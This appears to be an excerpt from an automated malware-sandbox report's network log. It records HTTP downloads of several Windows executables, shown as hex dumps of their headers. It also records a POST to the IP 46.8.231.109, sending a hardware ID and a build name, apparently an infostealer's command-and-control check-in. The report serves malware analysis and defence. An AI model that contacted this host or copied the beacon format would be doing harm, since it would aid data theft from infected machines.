06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 16:00:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 16:00:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 16:00:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 16:00:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 07 Oct 2024 16:00:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 16:00:04 GMTContent-Type: application/octet-streamContent-Length: 551424Last-Modified: Mon, 07 Oct 2024 15:48:16 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "670402c0-86a00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 89 39 06 79 e8 57 55 79 e8 57 55 79 e8 57 55 aa 9a 54 54 75 e8 57 55 aa 9a 52 54 d2 e8 57 55 aa 9a 53 54 6c e8 57 55 aa 9a 56 54 7a e8 57 55 79 e8 56 55 21 e8 57 55 69 6c 54 54 6d e8 57 55 69 6c 53 54 6b e8 57 55 69 6c 52 54 34 e8 57 55 31 6d 5e 54 78 e8 57 55 31 6d a8 55 78 e8 57 55 31 6d 55 54 78 e8 57 55 52 69 63 68 79 e8 57 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 dc 02 04 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 12 02 00 00 62 06 00 00 00 00 00 52 6f 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 08 00 00 04 00 00 20 b5 08 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c0 c6 02 00 28 00 00 00 00 80 08 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 08 00 d4 1a 00 00 c0 ab 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f0 10 02 00 00 10 00 00 00 12 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 78 9d 00 00 00 30 02 00 00 9e 00 00 00 16 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 80 a3 05 00 00 d0 02 00 00 96 05 00 00 b4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 03 00 00 00 80 08 00 00 04 00 00 00 4a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 1a 00 00 00 90 08 00 00 1c 00 00 00 4e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4754d4f680ead72.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBGHCBAEGDHIDGCBAECHost: 46.8.231.109Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 44 31 34 37 37 34 43 30 45 46 33 33 37 30 31 39 39 31 34 39 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 2d 2d 0d 0a Data Ascii: ------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="hwid"DD14774C0EF33701991499------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="build"default------KEBGHCBAEGDHIDGCBAEC--
